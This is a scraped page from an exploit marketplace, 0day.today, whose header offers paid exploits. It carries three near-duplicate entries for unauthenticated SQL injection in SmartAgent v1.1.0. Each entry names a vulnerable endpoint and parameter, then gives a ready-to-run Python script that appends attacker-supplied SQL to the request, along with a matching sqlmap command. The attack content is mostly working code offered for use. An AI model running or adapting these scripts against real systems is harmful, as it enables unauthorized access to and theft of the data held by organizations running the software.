0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SmartAgent 1.1.0 SQL Injection Vulnerability
# Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi) # Exploit Author: Alter Prime # Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com # Version: Build v1.1.0 # Tested on: Kali Linux An unauthenticated user can inject SQL queries through a POST request to the vulnerable script https://smarts-srlcom.com/privateArea/common/tests/interface.php. The POST request includes the folowing parameters "action=exportNetworkDate&id=1111" and vulnerable parameter is "id". Steps To Reproduce: 1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0 #Python Exploit import requests url = "https://smartagent.[client].com/privateArea/common/tests/interface.php" sqlcommand = input("Enter the command you want to run \(EX: UNION SELECT @@version\): ") postdata = { "action": "exportNetworkDate", "id": "1111" + sqlcommand } response = requests.post(url, data=postdata, verify=False) print(response.text) 2. Alternatively SQLMAP could pe used on the same endpoint sqlmap -u https://smartagent.[client].com/privateArea/common/tests/interface.php. --data "action=exportNetworkDate&id=1111" -p "id" # Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi) # Date: 01-10-2024 # Exploit Author: Alter Prime # Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com # Version: Build v1.1.0 # Tested on: Kali Linux An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https://smarts-srlcom.com/privateArea/common/qoe/sendPushManually.php?id=123. The GET request includes the vulnerable parameter "id". Steps To Reproduce: 1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0 #Python Exploit import requests url = "https://smartagent.[client].com/privateArea/common/qoe/sendPushManually.php" sqlcommand = input("Enter the command you want to run \(EX: UNION SELECT @@version\): ") parameter = { "id": "123" + sqlcommand } response = requests.get(url, data=parameter, verify=False) print(response.text) 2. Alternatively SQLMAP could pe used on the same endpoint sqlmap -u https://smartagent.[client].com/privateArea/common/qoe/sendPushManually.php?id=123 -p "id" # Exploit Title: SmartAgent v1.1.0 - Unauthenticated SQL Injection (SQLi) # Date: 01-10-2024 # Exploit Author: Alter Prime # Vendor Homepage: https://smarts-srlcom.com/, https://smartagent.com # Version: Build v1.1.0 # Tested on: Kali Linux An unauthenticated user can inject SQL queries through a GET request to the vulnerable script https://smarts-srlcom.com/recuperaLog.php?client=1111. The GET request includes the vulnerable parameter "client". Steps To Reproduce: 1. Run the below python script on a vulnerable web application instance of SmartAgent v1.1.0 #Python Exploit import requests url = "https://smartagent.[client].com/recuperaLog.php" sqlcommand = input("Enter the command you want to run \(EX: UNION SELECT @@version\): ") parameter = { "client": "1111" + sqlcommand } response = requests.get(url, data=parameter, verify=False) print(response.text) 2. Alternatively SQLMAP could pe used on the same endpoint sqlmap -u https://smartagent.[client].com/recuperaLog.php?client=1111 -p "client" # 0day.today [2024-12-23] #